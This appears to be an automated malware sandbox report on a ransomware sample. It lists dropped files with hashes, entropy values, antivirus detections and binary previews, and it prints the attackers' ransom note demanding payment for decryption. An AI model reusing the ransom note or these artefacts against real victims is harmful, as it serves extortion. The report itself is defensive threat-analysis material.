SHA-256:	0A14F76CAB9CCF61FDAB99F2BD2058764E0FBA2EBDE71BD60B659DD3737B1B68
SHA-512:	55783308B62C822AC35353205F732E65CBC78D44DBA3B2BF90B65549945F7FB098F7DBFB4093F317152F6F485F508DB49F1F38F0A003A0F7F9774ED95A56FD85
Malicious:	true
Preview:	03-10.].g.9..nuM....3/.M....I...D.S...Nb.@..)..0.s3_.7.3..A.G..tQ.Y..Cg<....g\.cy..s..}.......B..II.`..%3.:.+.#..}]..#4..].>..(Q..9..o....H..m..w.pY......~8kW....%H~....lp.T.}...;....).{ZW.....n.X..O...?O3.r..g......7aoS.....Gw......Q..O.A....`.]......5=..d......D.0m.Y.. ...^88...r..;.U(..E.N2...\u....N\v.J...M.#.z._..+......~...._..$..n\.`...b.J.n.>.o.$....1..u\|.e.d.u.....X.W.Z.......hW...ZB.....A:...........;.0.IT.y.[.+9...L.TP....2.....<2L..Q..M>..:....b.d)`..c..2...+&f8E.....{....-.S.di.d.?i\|C..l[.......6qu..c....tT.~so. ..P...;..&.:.1..)..f@.V.....O.H71H.s...}w.... \|N.W...l.o;....x.A!.g8Y.gZ.\K...3.Y.w...f.+...2+k.*.$.%.1..G.ST.#5:.....U'..v.g.FZ..(..q.[....[.............(...I.....kwk[....ab.U......Ec"p.....;..]K...n...E,...BHc......S..v.....:.u.......;d.$w.xO...b.A..j....}..7$.e..D..'.l.b...M.j...&.G3.=.(OOs..u....K..i w....T.O+..T.N+....!..F&c2...s...\|.l...,.....p.4.......`...........>W8..v..z..G.........g.fN..p..e.Y......}d.@..a..;.A

C:\Users\user\AppData\Local\VirtualStore\_README.txt

Download File

Process:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1381
Entropy (8bit):	4.887762912110015
Encrypted:	false
SSDEEP:	24:FS5ZHPnIekFQjhRe9bgnYfJeKAUEuWEYNzk5LmFRqrs6314kA+GT/kF5M2/kJw3s:WZHfv0pfNAU5WEYNzoLPs41rDGT0f/kX
MD5:	4CA4E4C152E163E27BF40545F832D28C
SHA1:	592F8EF320B0E69D9189B58D5AB27C71E4B95AB1
SHA-256:	B6847672C899A968614A625608176BA8AD3FDA8A6A442E2BE5D15458BF803C0C
SHA-512:	AE7C8050529F42785A1E8523524E23372DED4AA0C7D5B4425F83B7C744503C15EEFF12B404289F1D9CEAED64FA38362B7BC45B40A1C208B4F094B22FBAF76CBB
Malicious:	true
Preview:	ATTENTION!....Don't worry, you can return all your files!..All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key...The only method of recovering files is to purchase decrypt tool and unique key for you...This software will decrypt all your encrypted files...What guarantees you have?..You can send one of your encrypted file from your PC and we decrypt it for free...But we can decrypt only 1 file for free. File must not contain valuable information...Do not ask assistants from youtube and recovery data sites for help in recovering your data...They can use your free decryption quota and scam you...Our contact is emails in this text document only...You can get and look video overview decrypt tool:..https://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27..Price of private key and decrypt software is $999...Discount 50% available if you contact us first 72 hours, that's price for you is $49

C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	MS-DOS executable, MZ for MS-DOS
Category:	dropped
Size (bytes):	296782
Entropy (8bit):	7.620112263954045
Encrypted:	false
SSDEEP:	6144:jwFDh1+JlniQPCIkbpKXbLPmN/dbsBVIYA6iQeIL8EH:jwoJlRbypcPPmN/+LfH
MD5:	9B0153A0768D68C4D73D0443CDE47451
SHA1:	257973A4BB4974544E14B2A1876ABA4FED94EB1F
SHA-256:	B35DDB5B8C1A2512B8503BDBC687E74547DC064890CFD37212B390740D2FB097
SHA-512:	0379F2F076E1D6386F2CCCDA3C921A4931E8BAC0C7FA048382ABB3F87628361EB6F63B953C30002D7D55676B468E6824D71F2E65DFE5E6C2919BDE55097365B5
Malicious:	true
Preview:	MZ...../...L...7o....n.Hi.B'\|.2...%....V...v.......)m..!...&\.Je.z..S...C+.L.NT.....aI..<.......x..Un...R..u..-A...K...].q{......~.....-Df.y.j1.p.1...e..M.....u`..!".!....{9...e...Yf.>x'}.... .V.%.rJ...M..V..^d...Yn.je..+P...-..t......."....u.S........S.wf.F.yG.$..ybm........n&Ua...-...q..P)e.e.q....Xh1...[d.'.q....w..8.W..W4.x....:....5.y......V.%..'....]..Y.@g..b...xKE.A..3y.c..n....j.h..k.0W.....6...C......;.7....bXd....4$.w..wQ/.j....{.7.......\..R.l...q<..{........!o....f..i..0......!..=......4..`/..+...n~.J.ak-T.#6Iz...{...........<....%L..xsG.R.g..}....g.w/...4./M...$......a.f..'.{.0...t....O..._ ..f....~.Qra#7t..9S"..g..!.....l[.I.9Bu.....VN..6W.{V....H.YEHk.r...2..f.g$.F.5=...ZB}..k<$...I..yb.Sn.c'0X.Bh..o.-....B..f.a.Wky...;;..Sp.Y....Gr.....+.A#QAj..l.F ..y9mA..1....A.@.#.U.@r....9.).....>*}..!.'....0.....R...x.....G..! (..B...r...('..j$.g>.n.6(..5X...!......MN.?.c.......E.H:0.g.<.G+.9.,..=.. .6.],..&..ob..0.2.R...t.EN.

C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build3.exe

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	MS-DOS executable, MZ for MS-DOS
Category:	dropped
Size (bytes):	307022
Entropy (8bit):	7.638924469642487
Encrypted:	false
SSDEEP:	6144:Jxwob9mfD/HCbH1dkXoRv3JY/7cHOtdtM9VstSttuvqITd:JxvbODqbHzf67pdt9tKt2qIB
MD5:	EE731A20CB0D4B9DD14DBCC51037A5D3
SHA1:	2591F8B328185E0413974210A19F58088AE8D181
SHA-256:	BDEAC056608A51D79291FC043D426623790D28764EECA9A8FB40EB7CAB9D7C19
SHA-512:	17E8FC152A5A0C3CD3E846CB63EE7F94CD8B6EECE0E98C354A1C1914108A35EBD25D61FB04788C3DF2D7DFAA5818761E44DD07C590D9EBFB74E64266F162466B
Malicious:	true
Preview:	MZ...@a.v_%...s.A[G.....9.P.<..@...L*.<v..4%#=Mdt..=..F...).AoO.....H.g..8.XA.xd.r."a].K.Ca.Xw.YI..."..0..o.5..s..\.a....We.DD.)JA...x/....7.7.\....bp.I/.".u_/..\|q.@...8...a;M.}c...j.'..O.X5y.O.i......."w.YL!..r..Y4.O\....K2.'U0...M.:k.r"u......H.....+Cj.o. .$.[..8...{.q].N.....X.~.....xr....W@.u43@v....\|...,Aw.....P..x.G....j.`..b!E\2/H.L...^.Z...V...x.?...)3.)z.c.i..'.;Y..A..o....j...b..x.Zy...Tn.{.M72......5.$y.XbZ".@...$,.qN.n..&...#Q...S.k.[q....S^..:.Rg.L.hS...:..#4....#].Iq....3.......A....P.h..vJ......&X9[. .x\..M....O4'.$[......^A........'../U.#a...Xm.{b....xhg..AnP...nE,...K"v.S. T_..G...X..s.C.{kyq..........0.@0y.'....7.5..a......5..(.^.......l.8...3..B...)~...:.....Z.&.....\|.."...p...m'F.?+.!...2......`..._P..t...#......I........,...<.z.b.....t.u#.Hg..g.m.....?.N...-o.%:.[......3P.9.#Q.<..BZ.......Afy...Jw.]S........0...(.](x...2u..M(...g..]0..V....K".....jmD...dX...2....Ds....`hh.........#HvO}d.\|N...{...#.'..D....Zj.&..Q..n.DV

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	67138
Entropy (8bit):	7.997254754251813
Encrypted:	true
SSDEEP:	1536:1fB2QXesti8zvV+EJXCqIErrEHWSDtioK8LbEIY6:1fsQXjo8j0EhKHWyionLbH
MD5:	17C542A0196C62BB206564AF3AA78C36
SHA1:	CD16DD6087E296CEA1294424CF918B1F0D3023D4
SHA-256:	4097034BD17F1FFF50BB1ABE9F0BF2A60A952FA9229A4940D8C59CA69346C430
SHA-512:	C6A400BBF5C95AA24E9C7C16D0590CD36D79FA28C8C086D9CC3345E913BB7C763E438308A6E5E530CECDA52A3FF3133DA3E1ADFA7D8EE0D96A0AD76BA62CB9A0
Malicious:	true
Preview:	0.....D.&c5s...D..P.>.7...J.@.UF......iq..8V.DY.HqS.......8..hEK...aq/_#.#...@...m.K..b.\|6..$.<....G..R......\W.D,....p.]...c..N.? .<nV&.....9.@.Wj(d.+.......M....g......b.2-?..iP.9...&A....8.).q..P..Z.E[.O ..XA.1..{.m.. q..T..L...R../...Uv.....Z.:.3....^.ZB..[.Q.....9.D....,Xz....f.p...W\..6....>5....m.e...@.I... }x...\|...?..... ....X......wG....H(j.......>8....1.V.)]...[.0...<....j.....n;.`\0....O...........(.M...%x.l:K. .wp......1..Yag.g..C....I.F..A......Z..g......J...0...-..I._..F..6T...;.fJG.._.;....S5.S$..i...V;....5.b+.I..F.u".,...k...t.>..Kp;9Y..].G.L..;...w....m..._=S...F..j.......q....qdk.......R..F.\)......Z...o..[.o.H\|.b..L.wv..../xc.".....\|n..3.bB=G......N..u.......:V6.T.mM.7.l&T....zE....l.. ..Y.v....X..z.y....f....6_%.........* Ku/.<CHm.Cr...'.<r.FML..4.MJH\|..L....^.....dIOP....M.yP..X.)AAr2I(......S_..v..0.......bPh..O.!%a....t.?.(..r.{.{...#._.4....8.r.-.`b.C.,.......f.....]....e..\|V>.......,Lea...\,z..D..*Yrd.H...5

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1071
Entropy (8bit):	7.8074940410371205
Encrypted:	false
SSDEEP:	24:yYhVU7tvmHNmIoFhRcGYWX58MZZ9atV8WvH1NsxVbD:y2VU7pmtmIoFDYWX58M/GV8WPwFD
MD5:	C99CE3288D870735430580465C6802D0
SHA1:	0D19839AE083381EB7E29A68623F49B7B97588AD
SHA-256:	459D025876C2A688F52B03ABC84F65EF1069A1EBEE324481C39EC7078B3637F6
SHA-512:	5A969A04703E5FF7DD5D74754FB20601FB69396B9B0ECD8B91905EA2C1CECC8845916435CC4A63B67467493E9C627BA3805E331F1F8BC190304218F8D4E7C631
Malicious:	false
Preview:	0...0]....k..[.<C.T...%q.....M=.B.4.,1i.8.-..$.b..Vf.4.6......5c\|5.<[..S.>1o.g...........D....2...,.{...Y...../J....T../..U.(..x.,a.J....C...C.v....J.j.(..Xv.G...H.%E..3..f.5l...n.q.o....P.\|.....f)..P.J..\..O.22.....4...M..`y.f.0AnE.`.;..S...8.E..d.....)UE.Rc.l ...A...!M.1@A...i.A2...E.....M...c:..+i%..oc..P...-Y+m.n.. .t.o.j}.qZ.%.b%./..~...)..Z...5...7tK....@u.R......<......I^...pM_U.....V........\C...p.4..\.:q.^^qiN>...H...k.....~&s/]...r5;.Rto..S.zZ.S......_.9.+........#.+..D.D............S.M..{.`.}.XBW.......pe..y5...q.v..8.. ..6...-.L..e...C.!..L!......5..d.....C.'q..w.xA.1..u.K.f~Z..k.b.E.3.1.C-..X...wll5.>.B.wy.B.01%?.p!....}(......O..{....0s@.S;.....R.....X...Qd.....N..o..g.].K.a.@.........)..../iu4R@W..@....G.qS......l..l.LDXhrfF..r......tV)W.x.<AT...'V..?.)..U............(1.UT&z.......ey5.a-.8.a;......oYc.fCk...]<..U..........:.s.TE.X,...kh...Mh.B.;.L.&.f....@..,...r.B..;.Z.?.PK....A........<.j.....B...^...WYjo. ...C.itkm7MO

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\TMDocs.sav

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	370
Entropy (8bit):	7.287541960861133
Encrypted:	false
SSDEEP:	6:7/wabno7WV1vBgoqAuK6i0H1CC+bq7KIY5IMEKVskZjasNMC6nOE+uazjhPcii9a:7nbnQHAu3HHOANM7Vs9suCyrYjVcii9a
MD5:	DCDB3987E10947E24A78C25448F901A2
SHA1:	2100CFA57FF450F035EAF3709D273FA99CB1EC77
SHA-256:	13F2D930FA49289F6C333069D5A195AD128556A07B1E3F4FB17E28D5315116AA
SHA-512:	790B79E024C9630E788AE7FAA5DBC0AF88D4F76F0FC9BB4A4B31EB7734765912194301773869F0DF9DCA00C2784B62BF7566ADC516663424D70A68CC95B43D9D
Malicious:	false
Preview:	%PDFT._.:..?.'.v.?..[`acJ8..l/.VaDH\|f.......}..o...A4..M..zK.u.w\m.........f.9.uZ...Y.y ...7..n...."~..82...3.f..C.z.xD.$7.e'=..~..F...-..^[0a..%..^.. .....p.4p..o\|S4.....lm^..q....HD..m...}p.(.=..0.S(g?.ba.v.P...$.t.....W.'>.y ..W..).......rP..}...2..P........d.%Ya&.kDPU,C..U.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\TMGrpPrm.sav

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	388
Entropy (8bit):	7.262737651964051
Encrypted:	false
SSDEEP:	12:y15bidrv3JgotFgzcd/U5YCrWJA+RHejVcii9a:y1Vi9xJrLH9cVbD
MD5:	4849226B4E3945EB6ED7270081F251C2
SHA1:	6ACE8C0BAC74B0B089002DF9C18E742C9218CD57
SHA-256:	87D36B70D9F49AE23A80D2E5F7AA463A73C10CF7228A9A86CD1C3075AB6E40F2
SHA-512:	D82E36BB69C64B497C92E9414F066B8A75A2C598436F1403A4E7AEE0D173BC114E0DD11BCFD47B048F5E0341C3E541497AFE84AB4018C21A0551B2F24B4FFC5C
Malicious:	false
Preview:	%PDFT<TV....Lun.-g.?.&..i...H..)Vq7.'T./..V..G.?..ez\|...'.X~I...}G.A.fF`.z...%...\.(..;...G[H9.]n.&.&..97n...N.'..v......GW.0w.H.[...1...}.3.h...*.K.....Y....S....ok..&.~......{...-z.9..6$.....Pk.Z..?B+.Xj.1../...u.up`/.%.....H..5.+....Z.i...i...u+U...H.F..7.mg..?......3Ep..os..De.C...?..C.b~..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe

Download File

Process:	C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build3.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	306688
Entropy (8bit):	6.7250330334577075
Encrypted:	false
SSDEEP:	6144:2neDcgRQv5VaNT9DW7a6dtM9VstSttuvqIT:2O0v5VuT9DW7hdt9tKt2qI
MD5:	41B883A061C95E9B9CB17D4CA50DE770
SHA1:	1DAF96EC21D53D9A4699CEA9B4DB08CDA6FBB5AD
SHA-256:	FEF2C8CA07C500E416FD7700A381C39899EE26CE1119F62E7C65CF922CE8B408
SHA-512:	CDD1BB3A36182575CD715A52815765161EEAA3849E72C1C2A9A4E84CC43AF9F8EC4997E642702BB3DE41F162D2E8FD8717F6F8302BBA5306821EE4D155626319
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 87%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......6..kr.h8r.h8r.h8...8s.h8l..8n.h8l..8..h8U_.8{.h8r.i8.h8l..82.h8l..8s.h8l..8s.h8Richr.h8........................PE..L.....a.................j....;..... .............@...........................>.............................................lh..d.....>../..........................................................0...@............................................text...rh.......j.................. ..`.data.....:..........n..............@....kic..........>......\|..............@....rsrc..../....>..0...~..............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\CameraRoll.library-ms

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1352
Entropy (8bit):	7.839055642449339
Encrypted:	false
SSDEEP:	24:FQeqFq6tg+QbiLIE5zCFJ+pqd02Q/KKIQk6JeOvzRxlaJvOdCXyXyVbD:FQ06L8X+SQKgFJVl0AQyXyFD
MD5:	CCAE36F11E8A1338D4A0981D4770589C
SHA1:	F9F575D9ABBC5ACA91499C4522C88F4040BACAB4
SHA-256:	C67CD2095AF7391B560997DF97F76238212D8988A11F175D683637E907A28880
SHA-512:	79271D4EFA06917DAA25F626A9CB5148A736D32195F9BD800B3FBAD04910318ED5AB6345274D3E7770074864EB33CE8F51686372B5F7F01B8FD972228AD80EB9
Malicious:	false
Preview:	<?xmlCj8.....hn.=.2.........Y....t.M:.2..:66....I/....It..f.....Vz....{.N.....+d.......5'.!.A.%Y.........Fj.E.{.2....C...WsZ.P.Ua../...m..e....z..7........@$G..T.9`..v..P.>1S.....M......j{%w..c..$..O.....T.>...j..l.(X....F...E.`Z.f....+H..N...^W5.L'.yAf.Z...._4uQ....Jv.L.W...e..[.\...X.....@uKP.........T.z..y..JTfr....;`s4<.go.....W..pb...}.B..[.!4.?".m.v..5~.N.=......X.X.>...'A.....y..../.w+.......@I{^...o.......60....I.;....ya.k.5t[1..F..'.xr.1...m(.d.......S.$.g....p.Pn.nzP.g....ii.f.Dv.L......jB.,.?\|9.XgxK.........@Ud.=.J...d`.Rd.YX.^x.Q.f}I.A..N.;.v....;@.9..mECz.)[..q;.-....j.3..i@.1.....a..?0..aI...`..:.>\|.........Tl.4.L.8..\|.3.g.Y...m0.>}2B.{1.....R..F.=.l2N..y. ....r........6 .I....l..Q.o3w..h.lP..d..Ol.?A....\U\|..3..k..5....<........:80.).=D.y#.N..4.\|...^.$..../......='.(Y..r6...Kh.2.@!...(mSK...5...&....u.&..Cq@.0Y...R.t0;..=....R$.........u.D#V.G.P......y...z.R..[B.fhy.3....Oo..-.v+. ...[.>.t.%.....y.t..........<...b.@.p.X..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\Documents.library-ms

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2424
Entropy (8bit):	7.913806586571924
Encrypted:	false
SSDEEP:	48:SftRyt4V6+XVmccnKb4N1UjgJ1B5FrP6nstrql1fPsxM8FD:S1EfAmccKbC1UjgJn5AstrA1Hsm89
MD5:	16B7F218CC6FA8CBEA793AC887923626
SHA1:	02CAEF015986FC4C1A222D71039E179ACC55E2C8
SHA-256:	462317B4250D6A480D0899C4D08A34F7582AA7E137D49351237032E5140CDEF3
SHA-512:	498AFCFFFA62D23640D9F41C90B619847528274D0E3CC97C0CC7FED11F9B23034BDD9AE3FD6226AF835A56A013096F6E9BE3EBD971AF33BA01E9762590BCCFBA
Malicious:	false
Preview:	<?xml.......4F.iQB...9.....}p.9n....vY5...Bs.)=..UZ.7q..{y..:...q.U.0....D...^..U".....&..^.j...)...n...O.....\...P.T-{m.b..,.$..Rj.-..i?..haS).D.:.}..tV.e........-...g.L9o..)....X.Vk......7xq..".Cv....\|).......ab;......".."T..\.o....:..ax.^..X.2.gI...q....3...{".q..l...W.E....j&.K..@....U...BaC...F@.A...%k...4i.Z.H...%....M?..)..}..........4..o.$......RA..E.@.......;k..c..O7...Q.4..\|.............F.........jF..>n..Z0.re...mi...y8.a".>nW.(,^.8....{..&..h..}%.CW..Q.."k........(...........-...b.2.....~K..PU'U.....U.G........g]A.w...KK..,hN....\..E.C.`k.U!$......._.b.....l.._...........)51a.....K.......8.#......../U....2k.G...EZ...&.l,>.9..7...<.a...T.R........'z.j....E...o.2.O.....(j.w&....X.....Y...5......9q.....+\..J..`.5...u.am@..E[!.\.ms.6.w.L..%.4.@........f.M....k..Twn.M..*......Yv...Gz..=.be..h.....4_u.7....!..d.e8..KC...S6.....I......#..R.r.nI+z..Q.=>&6.^..p..o.9;....y2...a.x.v....ObR.S.... d.M..2]@..\|.PF...C.I5..R......

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\Music.library-ms

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2381
Entropy (8bit):	7.921142708829425
Encrypted:	false
SSDEEP:	48:kmlvdfI9Lgr1WKYY4alVIXnAf13U/pu3qoZ6A/uJN/PjRoGIFD:kKQuruYHlVIXolO+XAAc9I9
MD5:	6DDBCD4474D22D1343FA787322986619
SHA1:	7ECF910C3D249D738172B5A9C5724E1B3F16862A
SHA-256:	93311CB434579C84373110E0DC6A2D35DB7911D9F9275795186ADD076B472F4A
SHA-512:	91D10D54EEB486906DB35AC668A8C77E6238B1AC3072A19D4B769C3036688AD6A5A0DB6062C60DCBC0B02CE18278DAC63B5AA8C95ACD69645865112C63E0E073
Malicious:	false
Preview:	<?xml)..H..6..`..a..w.#...q.....zh...<...O..,..=.Um...x.....?. {.R'..a_.m..^...7.X[..,.1....<....Y....... .?...[q.C\|Q.........Du..O....<.....Kr..>.Y....z......\|D.qW...L<.:...f.2B.zGb.\..:..D........J.e3t.s.Y).r...4.z.(.....3E~...7..j~...!.....%...W.K..........X.N_T}...B.........t.!....A...~.p..D..../F0.)V.<.E&E.E.\|X.8...e..-Twp.2....J..o...A.....~BQ.V.k.\...V...8.n........<qF.....)......_.W..s..=.;..6.F...R.H.R....;.........q....\|>.~CF<q$.]...h..w.._.yHI.E...+..'.W..........-A..a.......)-.q.2I..h...n....eE$.....d......R4.K.._.wW(.I4.Abl..&.0......]..pG.C/...+..xr]....eIVt.......c.Q.....U<]bu~.4dm......@..L..`.dy.8..............zgf..N.....].;....G...nH{s.L0-.._..jX..6...2...?/..^h3...ZB.....1C....1.+;.j..M.?......m..v-.....l..S.#....Xy...+<..9.Q..`o.bYD.D...I.c.{....b..A"........5.O...v.7.....B....Ti..+.....1CI.#N...o.p..(.V.'......P5.f2.s.B......5s.h.Uv...l...b......`-..E.....A.~.'.>)..z.0o.z..^U+V..ylh..e-...U...../.{.`%.G1Oc...,%

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\Pictures.library-ms

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2398
Entropy (8bit):	7.922686429371104
Encrypted:	false
SSDEEP:	48:wb2SWWWvHYGaV+BmdbSZruff2/PKmSWWxbqaBONa7QeBD0kDfhFD:wbbWxv4GagBwSZruXA7SnxjQeBQkDfh9
MD5:	E1D6466DDDBC8EB2A1BF417EF9E4D038
SHA1:	A0917C300D7BDA5635A2C6D4C1D467BD0261D3EA
SHA-256:	D4222A94DC3214180C4E05E898B11011BE51C0B6D1A34D7BC42F14F72F148213
SHA-512:	E8B43A0AFB7263CFEE0351FBB05B7BCB779F9DA5DE13B8AD187ACB8260D7FA3F54731C66E316B0835A4181E2B43F458EEF77EC464C39DC7B6B0C913E1EABAD22
Malicious:	false
Preview:	<?xml..$P:...u.!+.....#..d..!.....Bbc:..km...xu........bk....lp.-..Q.$.f..T....lM.v......;.V5.ZzU.A<........N.m...V).P4..k.....Q...:......t.q....0..f`{.......!...>...y..y3.O.bn...;b.G...'..(W...V.B<.{..S..C/\|...Z:WAkA..O{.q.(....!..;.Z.....-\|..P/....Q.q...R0^.w.Ld..:.p.c..Y_.n.9fa.kB..t%.t ..3.L..w....3b...Cg.Q....n2...xk'iA...p.#\........)..g$=.....<)u......l.!.-:.e.'.....D....i.jv...#............o.^?j......).........in...8.6P ^..o..>...+....d\Z.A.U...X..O..p...y..T!.e.D.f..C......n.L.......:.j5.Q..<.F....\|....AA.yG&.g.......-<.~.?.b....Z.h.(.VN].]...\......n...S.0..l.v,..4....FK....1.@...!....Z..&.w.'..S.1...0".@........x1I....,&c..1V.!Ca<.T.... I.L=..@D..uAg3C.e.-.2..+......Fu.D.u.tZP...b.<.........O.%..{......7Zj..\k...A!O.+.J.%t1...{]..%...)).......Ou.z$.....bP,P.PM7.O9.%8<5...u.6^.3JZ..g.`l..;.O.%.`(o.t~6.SX.T..;C...n.q.ps........l../&.K.N.y...E..k..A)AC.Vm.S;..Au.....@.Uz.......S...x...S..-5.L.....+t......8..>-7R.C2..!.BV

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\SavedPictures.library-ms

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1358
Entropy (8bit):	7.866663295675916
Encrypted:	false
SSDEEP:	24:iDDq0nviRWTFiu3InZQW7eeZQynf7MAZpFAHEp9vtMsaQF+631A59yVbD:ivnvySiu4ZvrTnD9TCkp9veszF+22wFD
MD5:	262B911115DCE4B4EA9A4BB25AF53EE2
SHA1:	C9B44D2ED4BAB522EA073614A01A543EBBE107F6
SHA-256:	F75B6D475D796DE874E7C96529F861860CC1146C1E760A881A91A5FFDD865999
SHA-512:	F516719642D5ED0B93D44CF96365211553AFE4FFFA6C3CAF8B89DFEB2747B858329FB576B9ADBFC769DA86F8EAFC3275FDD01C2861776F25B854CC6548C0B48A
Malicious:	false
Preview:	<?xmlS?.k..q.Q...q.!..".^......<0.w.\.N....o.o.cM..u...Z.6.&/.$....=T.....y..#....3.[..y...Q.....Rr../......d.6.....r\|_.dy.@..1;0..%.v.U.g.%.h..~'..>....{J%....3.:X....9.%...Al-.u..\..HlJ...)r.^>...j(.Y.@...#(..R..t...QYR......%..............[.{....WlA...I.5#,.x`...r:....0.8...\|.l.Q....2+..=.......T)...xe...o...........Q....4....ja..:..o<.?......p.XU.1.[.K...9lbL;.sm... .....<JR... ...G:..?.~J.....<[.\.....`C.(jdM~?g.KZ....grrZ.....5X...DX..Bi8..8z+8T.-.<\|...v!q'./WO\|.5.J.....I6$..\|;.]2...2K..&..>.u....6'...+....h~Wl.._..x...(..^.`2..e6J[.V.\.C.EH........f.....v%.M.{lm.N].m...X.j.D...^..b..I."u..W......&.n....b..J"o.2.E...m....\|[....b.9.p..R.B-..^.r.V.......t.^....~..pf\|....q.P.O..E.....Y....x.-.,.'L.6R.<9....]:.....m..........T......A.He.)....+.$p.}:{.V.....{..(....d..........k....EDY@.;.b....pA.5>..s....z.C.`.....u.h......-...9e..~.:...z.D..................\|..._..O.~...u...S.:m>.uw......{Y.s...?.........M.....rSz.,.D..W.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\Videos.library-ms

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2409
Entropy (8bit):	7.92894056688652
Encrypted:	false
SSDEEP:	48:Myo34i5Rji6XqDS3gQU0aAPb9VV7KWQPVYnbhnaSPw2DDNFD:My7ijj04M0a05mPubsyw2DDN9
MD5:	854FDA9D88CC888012501044CB0469C4
SHA1:	87F676A9974C358995233F874490694C35461DDF
SHA-256:	A1CD3CC874A7FD2E80620A9E77949CDBA715242338351CE40DB62F9D106069F2
SHA-512:	F1BBB1EBC89F792BB29ACEE23DF6C4A0FEA3E1D2AB87AFEC8F628DC99BE608CC8D7015608F9225923A3C51BC6E89D076BE8E8E1E6475386589A375E3C627B753
Malicious:	false
Preview:	<?xmlSJ..C.,oNc.d35.;...u7P.v.........!=5A.B6)s.....5YQm.{...M..;O...1..x"..,...q... .O]u.........?.U.]....L.MN..Z~1.e.........).U...}..Y..Y. ...hQ...S2X).Z.y.:..T:../N(../Eu.;.c.....nP......@...h!...5(.....^.....(....Y....RZ.....<..s...,.H..^-.....;.8.(Z....8.6.sYsG.,.....}jg.q_.-...^..pw..;.../C..T...[..lO...........6...u..J.Z......Q..._..Y.~R.m6.Y.."..Y....{...X...wA1.....:..\|..^..H.....3.u.t..n....7.O..O{.o...0....`....y....1<..t........c{.<{..B6..[L:.q.2.T..8....f..~&...-E#............I)..X.;8..p...9+.2...>n......YH{c...&..=..a.*m....40............cc..._6[..I......:...VPT9...i.`7&...zl.9..Gj...X..0....].W..=.,.@P.%.ai..'8I....&....................d#....Xq6SV.\|..7l.D}ix._@..TC.,..s=BI....:5V\Of6..%.>......S...-M.ns)...h._H..s.!...P...t.HR^[m...{..j.FS.2...nK...&.j..6....f6...5..Y.,...vp...G.@....R.? ....!.\3.P.;....ws%..M{..`F.......c..\|v..n..k.]..I....\|..`..D...H.q..K..b'.F.ct..z.9...G.n...l.......F&.E.3..&x._...L

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\DRBXYKCKXO.mp3

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.831553731052206
Encrypted:	false
SSDEEP:	24:4aamkFJrGMo+o8gmOsp9nGCYeSxBs7VU+eadv02St1gB+xLmm6Q801nDAQKbl9+2:4aWjpgOnABsqa90hkkxLmmL801cN9Ocf
MD5:	46EBC5CA9A5E4088E58961B6C82B11F2
SHA1:	10215E478B14A2D0123B696BEA07746B9B2384BB
SHA-256:	B05F0A35A1A412AEC25959B7FF05404A9BD718A6579909996EFE77A8392FC91D
SHA-512:	3AF687A18E6E1D58D0A74C029D8B12CE6291E378E37421BD1AA22D9FFDC30004D4E7B43CAB73FD041E5E1AB7225F3B2319C002A9A2BD8C7707AD47717F74B4A0
Malicious:	false
